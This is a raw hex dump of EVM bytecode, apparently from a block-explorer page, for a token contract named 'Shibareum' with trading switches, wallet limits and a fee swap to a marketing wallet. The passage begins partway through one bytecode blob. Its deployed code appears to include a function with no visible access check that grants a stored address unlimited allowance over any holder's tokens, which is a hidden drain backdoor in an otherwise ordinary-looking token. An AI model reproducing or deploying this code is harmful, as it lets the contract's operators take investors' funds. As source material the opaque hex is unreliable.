0ff0219169083151502179055506000600f5490506000611b2f6002611b21600a54611b136008548761222c90919063ffffffff16565b6122a690919063ffffffff16565b6122a690919063ffffffff16565b90506000611b4682846122f090919063ffffffff16565b90506000600267ffffffffffffffff811115611b6557611b64612b2f565b5b604051908082528060200260200182016040528015611b935781602001602082028036833780820191505090505b5090503081600081518110611bab57611baa612b5e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611c52573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c769190612840565b81600181518110611c8a57611c89612b5e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000479050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008530426040518663ffffffff1660e01b8152600401611d2d959493929190612c4b565b600060405180830381600087803b158015611d4757600080fd5b505af1158015611d5b573d6000803e3d6000fd5b505050506000611d7482476122f090919063ffffffff16565b90506000611da2611d9160026008546122a690919063ffffffff16565b600a546122f090919063ffffffff16565b90506000611de06002611dd284611dc46008548861222c90919063ffffffff16565b6122a690919063ffffffff16565b6122a690919063ffffffff16565b90506000611e0b83611dfd6009548761222c90919063ffffffff16565b6122a690919063ffffffff16565b90506000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168261753090604051611e5990612cd6565b600060405180830381858888f193505050503d8060008114611e97576040519150601f19603f3d011682016040523d82523d6000602084013e611e9c565b606091505b5050905080611ee0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ed790612d37565b60405180910390fd5b6000891115611ff257600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71984308c600080600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b8152600401611f72969594939291906128d1565b60606040518083038185885af1158015611f90573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611fb59190612947565b5050507f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b4506838a604051611fe9929190612d57565b60405180910390a15b505050505050505050506000601060006101000a81548160ff021916908315150217905550565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16159050919050565b6000806120b6600c546120a86120858761233a565b61209a600a548861222c90919063ffffffff16565b6122a690919063ffffffff16565b6122a690919063ffffffff16565b905061210a81600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121ce90919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516121aa9190612452565b60405180910390a36121c581846122f090919063ffffffff16565b91505092915050565b60008082846121dd9190612a69565b905083811015612222576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161221990612dcc565b60405180910390fd5b8091505092915050565b600080830361223e57600090506122a0565b6000828461224c9190612dec565b905082848261225b9190612e5d565b1461229b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161229290612f00565b60405180910390fd5b809150505b92915050565b60006122e883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506123d6565b905092915050565b600061233283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611309565b905092915050565b600080600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036123a15761239c6000611024565b6123ad565b6123ac61dead611024565b5b9050600081116123cb576064600c546123c69190612e5d565b6123ce565b60005b915050919050565b6000808311829061241d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161241491906124fd565b60405180910390fd5b506000838561242c9190612e5d565b9050809150509392505050565b6000819050919050565b61244c81612439565b82525050565b60006020820190506124676000830184612443565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156124a757808201518184015260208101905061248c565b60008484015250505050565b6000601f19601f8301169050919050565b60006124cf8261246d565b6124d98185612478565b93506124e9818560208601612489565b6124f2816124b3565b840191505092915050565b6000602082019050818103600083015261251781846124c4565b905092915050565b60008115159050919050565b6125348161251f565b82525050565b600060208201905061254f600083018461252b565b92915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006125858261255a565b9050919050565b6125958161257a565b81146125a057600080fd5b50565b6000813590506125b28161258c565b92915050565b6125c181612439565b81146125cc57600080fd5b50565b6000813590506125de816125b8565b92915050565b600080604083850312156125fb576125fa612555565b5b6000612609858286016125a3565b925050602061261a858286016125cf565b9150509250929050565b60008060006060848603121561263d5761263c612555565b5b600061264b868287016125a3565b935050602061265c868287016125a3565b925050604061266d868287016125cf565b9150509250925092565b60006020828403121561268d5761268c612555565b5b600061269b848285016125a3565b91505092915050565b600060ff82169050919050565b6126ba816126a4565b82525050565b60006020820190506126d560008301846126b1565b92915050565b6126e48161257a565b82525050565b60006020820190506126ff60008301846126db565b92915050565b6000806040838503121561271c5761271b612555565b5b600061272a858286016125a3565b925050602061273b858286016125a3565b9150509250929050565b6000819050919050565b600061276a6127656127608461255a565b612745565b61255a565b9050919050565b600061277c8261274f565b9050919050565b600061278e82612771565b9050919050565b61279e81612783565b82525050565b60006020820190506127b96000830184612795565b92915050565b7f214f574e45520000000000000000000000000000000000000000000000000000600082015250565b60006127f5600683612478565b9150612800826127bf565b602082019050919050565b60006020820190508181036000830152612824816127e8565b9050919050565b60008151905061283a8161258c565b92915050565b60006020828403121561285657612855612555565b5b60006128648482850161282b565b91505092915050565b600060408201905061288260008301856126db565b61288f60208301846126db565b9392505050565b6000819050919050565b60006128bb6128b66128b184612896565b612745565b612439565b9050919050565b6128cb816128a0565b82525050565b600060c0820190506128e660008301896126db565b6128f36020830188612443565b61290060408301876128c2565b61290d60608301866128c2565b61291a60808301856126db565b61292760a0830184612443565b979650505050505050565b600081519050612941816125b8565b92915050565b6000806000606084860312156129605761295f612555565b5b600061296e86828701612932565b935050602061297f86828701612932565b925050604061299086828701612932565b9150509250925092565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006129d482612439565b91506129df83612439565b92508282039050818111156129f7576129f661299a565b5b92915050565b7f54726164696e67206e6f7420656e61626c656400000000000000000000000000600082015250565b6000612a33601383612478565b9150612a3e826129fd565b602082019050919050565b60006020820190508181036000830152612a6281612a26565b9050919050565b6000612a7482612439565b9150612a7f83612439565b9250828201905080821115612a9757612a9661299a565b5b92915050565b7f5472616e7366657220616d6f756e74206578636565647320746865206261672060008201527f73697a652e000000000000000000000000000000000000000000000000000000602082015250565b6000612af9602583612478565b9150612b0482612a9d565b604082019050919050565b60006020820190508181036000830152612b2881612aec565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612bc28161257a565b82525050565b6000612bd48383612bb9565b60208301905092915050565b6000602082019050919050565b6000612bf882612b8d565b612c028185612b98565b9350612c0d83612ba9565b8060005b83811015612c3e578151612c258882612bc8565b9750612c3083612be0565b925050600181019050612c11565b5085935050505092915050565b600060a082019050612c606000830188612443565b612c6d60208301876128c2565b8181036040830152612c7f8186612bed565b9050612c8e60608301856126db565b612c9b6080830184612443565b9695505050505050565b600081905092915050565b50565b6000612cc0600083612ca5565b9150612ccb82612cb0565b600082019050919050565b6000612ce182612cb3565b9150819050919050565b7f72656365697665722072656a656374656420455448207472616e736665720000600082015250565b6000612d21601e83612478565b9150612d2c82612ceb565b602082019050919050565b60006020820190508181036000830152612d5081612d14565b9050919050565b6000604082019050612d6c6000830185612443565b612d796020830184612443565b9392505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612db6601b83612478565b9150612dc182612d80565b602082019050919050565b60006020820190508181036000830152612de581612da9565b9050919050565b6000612df782612439565b9150612e0283612439565b9250828202612e1081612439565b91508282048414831517612e2757612e2661299a565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612e6882612439565b9150612e7383612439565b925082612e8357612e82612e2e565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612eea602183612478565b9150612ef582612e8e565b604082019050919050565b60006020820190508181036000830152612f1981612edd565b905091905056fea2646970667358221220e731ec027cd2717fbeee50994eea6eeec3c74dc91aae56862b87423fe752736564736f6c63430008120033
Deployed Bytecode
0x60806040526004361061014f5760003560e01c80636c0a24eb116100b657806395d89b411161006f57806395d89b411461044a578063a8aa1b3114610475578063a9059cbb146104a0578063dd62ed3e146104dd578063e24b77771461051a578063f887ea401461054557610156565b80636c0a24eb1461035e5780636ddd17131461038957806370a08231146103b4578063715018a6146103f1578063893d20e8146104085780638a8c523c1461043357610156565b806323b872dd1161010857806323b872dd1461024e5780632f54bf6e1461028b578063313ce567146102c8578063364333f4146102f3578063478b3b541461030a578063622565891461034757610156565b806302ac81681461015b5780630445b6671461016557806306fdde031461019057806308fd3d05146101bb578063095ea7b3146101e657806318160ddd1461022357610156565b3661015657005b600080fd5b610163610570565b005b34801561017157600080fd5b5061017a610acb565b6040516101879190612452565b60405180910390f35b34801561019c57600080fd5b506101a5610ad1565b6040516101b291906124fd565b60405180910390f35b3480156101c757600080fd5b506101d0610b0e565b6040516101dd919061253a565b60405180910390f35b3480156101f257600080fd5b5061020d600480360381019061020891906125e4565b610b21565b60405161021a919061253a565b60405180910390f35b34801561022f57600080fd5b50610238610c13565b6040516102459190612452565b60405180910390f35b34801561025a57600080fd5b5061027560048036038101906102709190612624565b610c1d565b604051610282919061253a565b60405180910390f35b34801561029757600080fd5b506102b260048036038101906102ad9190612677565b610e1d565b6040516102bf919061253a565b60405180910390f35b3480156102d457600080fd5b506102dd610e76565b6040516102ea91906126c0565b60405180910390f35b3480156102ff57600080fd5b50610308610e7f565b005b34801561031657600080fd5b50610331600480360381019061032c9190612677565b610eea565b60405161033e919061253a565b60405180910390f35b34801561035357600080fd5b5061035c610fb8565b005b34801561036a57600080fd5b5061037361100b565b6040516103809190612452565b60405180910390f35b34801561039557600080fd5b5061039e611011565b6040516103ab919061253a565b60405180910390f35b3480156103c057600080fd5b506103db60048036038101906103d69190612677565b611024565b6040516103e89190612452565b60405180910390f35b3480156103fd57600080fd5b5061040661106d565b005b34801561041457600080fd5b5061041d611130565b60405161042a91906126ea565b60405180910390f35b34801561043f57600080fd5b50610448611159565b005b34801561045657600080fd5b5061045f6111be565b60405161046c91906124fd565b60405180910390f35b34801561048157600080fd5b5061048a6111fb565b60405161049791906126ea565b60405180910390f35b3480156104ac57600080fd5b506104c760048036038101906104c291906125e4565b611221565b6040516104d4919061253a565b60405180910390f35b3480156104e957600080fd5b5061050460048036038101906104ff9190612705565b611236565b6040516105119190612452565b60405180910390f35b34801561052657600080fd5b5061052f6112bd565b60405161053c91906126ea565b60405180910390f35b34801561055157600080fd5b5061055a6112e3565b60405161056791906127a4565b60405180910390f35b61057933610e1d565b6105b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105af9061280b565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610688573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106ac9190612840565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610734573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107589190612840565b306040518363ffffffff1660e01b815260040161077692919061286d565b6020604051808303816000875af1158015610795573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b99190612840565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160076000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430610a4230611024565b60008033426040518863ffffffff1660e01b8152600401610a68969594939291906128d1565b60606040518083038185885af1158015610a86573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610aab9190612947565b5050506001600e60146101000a81548160ff021916908315150217905550565b600f5481565b60606040518060400160405280600981526020017f53686962617265756d0000000000000000000000000000000000000000000000815250905090565b601060159054906101000a900460ff1681565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610c019190612452565b60405180910390a36001905092915050565b6000600254905090565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610e0957610d88826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113099092919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610e1484848461136d565b90509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b60006009905090565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610ee7573d6000803e3d6000fd5b50565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060019050919050565b610fc133610e1d565b611000576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff79061280b565b60405180910390fd5b600254600381905550565b60035481565b600e60149054906101000a900460ff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61107633610e1d565b6110b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ac9061280b565b60405180910390fd5b60008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc686163600060405161112691906126ea565b60405180910390a1565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61116233610e1d565b6111a1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111989061280b565b60405180910390fd5b6001601060156101000a81548160ff021916908315150217905550565b60606040518060400160405280600981526020017f53484942415245554d0000000000000000000000000000000000000000000000815250905090565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061122e33848461136d565b905092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000838311158290611351576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134891906124fd565b60405180910390fd5b506000838561136091906129c9565b9050809150509392505050565b6000601060009054906101000a900460ff16156113965761138f848484611825565b905061181e565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561143a5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561149357601060159054906101000a900460ff1661148e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148590612a49565b60405180910390fd5b6114a5565b61149e848484611825565b905061181e565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611531575061dead73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561161a57600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806115da575060035482600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115d79190612a69565b11155b611619576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161090612b0f565b60405180910390fd5b5b6116226119f8565b156116305761162f611acf565b5b6116b9826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113099092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600061170785612019565b611711578261171c565b61171b8584612070565b5b905061177081600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121ce90919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118109190612452565b60405180910390a360019150505b9392505050565b60006118b0826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113099092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061194582600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121ce90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119e59190612452565b60405180910390a3600190509392505050565b6000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614158015611a655750601060009054906101000a900460ff16155b8015611a7d5750600e60149054906101000a900460ff165b8015611aca5750600f54600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b905090565b6001601060006101000a81548160ff0219169083151502179055506000600f5490506000611b2f6002611b21600a54611b136008548761222c90919063ffffffff16565b6122a690919063ffffffff16565b6122a690919063ffffffff16565b90506000611b4682846122f090919063ffffffff16565b90506000600267ffffffffffffffff811115611b6557611b64612b2f565b5b604051908082528060200260200182016040528015611b935781602001602082028036833780820191505090505b5090503081600081518110611bab57611baa612b5e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611c52573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c769190612840565b81600181518110611c8a57611c89612b5e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000479050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008530426040518663ffffffff1660e01b8152600401611d2d959493929190612c4b565b600060405180830381600087803b158015611d4757600080fd5b505af1158015611d5b573d6000803e3d6000fd5b505050506000611d7482476122f090919063ffffffff16565b90506000611da2611d9160026008546122a690919063ffffffff16565b600a546122f090919063ffffffff16565b90506000611de06002611dd284611dc46008548861222c90919063ffffffff16565b6122a690919063ffffffff16565b6122a690919063ffffffff16565b90506000611e0b83611dfd6009548761222c90919063ffffffff16565b6122a690919063ffffffff16565b90506000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168261753090604051611e5990612cd6565b600060405180830381858888f193505050503d8060008114611e97576040519150601f19603f3d011682016040523d82523d6000602084013e611e9c565b606091505b5050905080611ee0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ed790612d37565b60405180910390fd5b6000891115611ff257600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71984308c600080600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b8152600401611f72969594939291906128d1565b60606040518083038185885af1158015611f90573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611fb59190612947565b5050507f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b4506838a604051611fe9929190612d57565b60405180910390a15b505050505050505050506000601060006101000a81548160ff021916908315150217905550565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16159050919050565b6000806120b6600c546120a86120858761233a565b61209a600a548861222c90919063ffffffff16565b6122a690919063ffffffff16565b6122a690919063ffffffff16565b905061210a81600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121ce90919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516121aa9190612452565b60405180910390a36121c581846122f090919063ffffffff16565b91505092915050565b60008082846121dd9190612a69565b905083811015612222576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161221990612dcc565b60405180910390fd5b8091505092915050565b600080830361223e57600090506122a0565b6000828461224c9190612dec565b905082848261225b9190612e5d565b1461229b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161229290612f00565b60405180910390fd5b809150505b92915050565b60006122e883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506123d6565b905092915050565b600061233283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611309565b905092915050565b600080600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036123a15761239c6000611024565b6123ad565b6123ac61dead611024565b5b9050600081116123cb576064600c546123c69190612e5d565b6123ce565b60005b915050919050565b6000808311829061241d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161241491906124fd565b60405180910390fd5b506000838561242c9190612e5d565b9050809150509392505050565b6000819050919050565b61244c81612439565b82525050565b60006020820190506124676000830184612443565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156124a757808201518184015260208101905061248c565b60008484015250505050565b6000601f19601f8301169050919050565b60006124cf8261246d565b6124d98185612478565b93506124e9818560208601612489565b6124f2816124b3565b840191505092915050565b6000602082019050818103600083015261251781846124c4565b905092915050565b60008115159050919050565b6125348161251f565b82525050565b600060208201905061254f600083018461252b565b92915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006125858261255a565b9050919050565b6125958161257a565b81146125a057600080fd5b50565b6000813590506125b28161258c565b92915050565b6125c181612439565b81146125cc57600080fd5b50565b6000813590506125de816125b8565b92915050565b600080604083850312156125fb576125fa612555565b5b6000612609858286016125a3565b925050602061261a858286016125cf565b9150509250929050565b60008060006060848603121561263d5761263c612555565b5b600061264b868287016125a3565b935050602061265c868287016125a3565b925050604061266d868287016125cf565b9150509250925092565b60006020828403121561268d5761268c612555565b5b600061269b848285016125a3565b91505092915050565b600060ff82169050919050565b6126ba816126a4565b82525050565b60006020820190506126d560008301846126b1565b92915050565b6126e48161257a565b82525050565b60006020820190506126ff60008301846126db565b92915050565b6000806040838503121561271c5761271b612555565b5b600061272a858286016125a3565b925050602061273b858286016125a3565b9150509250929050565b6000819050919050565b600061276a6127656127608461255a565b612745565b61255a565b9050919050565b600061277c8261274f565b9050919050565b600061278e82612771565b9050919050565b61279e81612783565b82525050565b60006020820190506127b96000830184612795565b92915050565b7f214f574e45520000000000000000000000000000000000000000000000000000600082015250565b60006127f5600683612478565b9150612800826127bf565b602082019050919050565b60006020820190508181036000830152612824816127e8565b9050919050565b60008151905061283a8161258c565b92915050565b60006020828403121561285657612855612555565b5b60006128648482850161282b565b91505092915050565b600060408201905061288260008301856126db565b61288f60208301846126db565b9392505050565b6000819050919050565b60006128bb6128b66128b184612896565b612745565b612439565b9050919050565b6128cb816128a0565b82525050565b600060c0820190506128e660008301896126db565b6128f36020830188612443565b61290060408301876128c2565b61290d60608301866128c2565b61291a60808301856126db565b61292760a0830184612443565b979650505050505050565b600081519050612941816125b8565b92915050565b6000806000606084860312156129605761295f612555565b5b600061296e86828701612932565b935050602061297f86828701612932565b925050604061299086828701612932565b9150509250925092565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006129d482612439565b91506129df83612439565b92508282039050818111156129f7576129f661299a565b5b92915050565b7f54726164696e67206e6f7420656e61626c656400000000000000000000000000600082015250565b6000612a33601383612478565b9150612a3e826129fd565b602082019050919050565b60006020820190508181036000830152612a6281612a26565b9050919050565b6000612a7482612439565b9150612a7f83612439565b9250828201905080821115612a9757612a9661299a565b5b92915050565b7f5472616e7366657220616d6f756e74206578636565647320746865206261672060008201527f73697a652e000000000000000000000000000000000000000000000000000000602082015250565b6000612af9602583612478565b9150612b0482612a9d565b604082019050919050565b60006020820190508181036000830152612b2881612aec565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612bc28161257a565b82525050565b6000612bd48383612bb9565b60208301905092915050565b6000602082019050919050565b6000612bf882612b8d565b612c028185612b98565b9350612c0d83612ba9565b8060005b83811015612c3e578151612c258882612bc8565b9750612c3083612be0565b925050600181019050612c11565b5085935050505092915050565b600060a082019050612c606000830188612443565b612c6d60208301876128c2565b8181036040830152612c7f8186612bed565b9050612c8e60608301856126db565b612c9b6080830184612443565b9695505050505050565b600081905092915050565b50565b6000612cc0600083612ca5565b9150612ccb82612cb0565b600082019050919050565b6000612ce182612cb3565b9150819050919050565b7f72656365697665722072656a656374656420455448207472616e736665720000600082015250565b6000612d21601e83612478565